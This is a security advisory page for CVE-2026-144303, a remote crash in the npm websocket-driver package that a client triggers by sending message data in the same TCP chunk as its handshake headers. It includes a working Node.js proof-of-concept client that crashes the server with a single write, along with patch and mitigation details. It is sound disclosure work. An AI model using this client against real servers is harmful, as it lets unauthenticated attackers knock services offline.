CVE-2026-144303 is a high-severity (CVSS 7.5) CWE-248 vulnerability in websocket-driver. A fix is available for websocket-driver — see the affected versions and patch details below.
websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-144303.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
websocket-driverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A WebSocket server implemented using websocket-driver can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers.
Details
The websocket.http() driver constructor is designed to be used with the Node HTTP upgrade event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling start() on it, like so:
server.on('upgrade', (request, socket, body) => {
if (!websocket.isWebSocket(request)) return
let driver = websocket.http(request)
driver.io.write(body)
// set up event listeners...
driver.start()
})
This API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.
When the RFC 6455 standard protocol is in use, body should typically be empty, since clients should not send messages before the handshake completes. However, if body is not empty, then passing it to driver.io.write() before calling driver.start() triggers an exception due to the parser not being initialised. This exception crashes the process.
This has been mitigated by buffering this input and parsing it when start() is called, so that any data received before start() is called is not lost. This buffering is subject to the maxLength configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.
Proof of concept
Given a server set up as follows:
const http = require('http')
const websocket = require('websocket-driver')
let server = http.createServer()
server.on('upgrade', (request, socket, body) => {
if (!websocket.isWebSocket(request)) return
let driver = websocket.http(request)
driver.io.write(body)
socket.pipe(driver.io).pipe(socket)
driver.messages.on('data', (m) => console.log({ m }))
driver.start()
})
server.listen(5077, '127.0.0.1')
The following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.
const net = require('net')
let socket = net.connect(5077, '127.0.0.1')
let httpMessage = Buffer.from(
'GET / HTTP/1.1\r\n' +
'Host: 127.0.0.1\r\n' +
'Connection: Upgrade\r\n' +
'Upgrade: websocket\r\n' +
`Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
'Sec-WebSocket-Version: 13\r\n' +
'\r\n'
)
// FIN = 1, mask key 00 00 00 00, payload 'a'
let maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])
// the frame is sent in the same write as the handshake,
// so it arrives in the `body` (head) argument of the 'upgrade' event
socket.write(Buffer.concat([httpMessage, maskedTextFrame]))
socket.on('error', () => {})
On receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.
Impact
An unauthenticated remote client can crash any Node.js process that follows the README's "Server-side with HTTP" example, with a single TCP write.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | websocket-driver | all versions | 0.8.3npm install websocket-driver@0.8.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for websocket-driver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update websocket-driver to 0.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-144303 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-144303 in your dependencies?
Find it across npm, including transitive dependencies.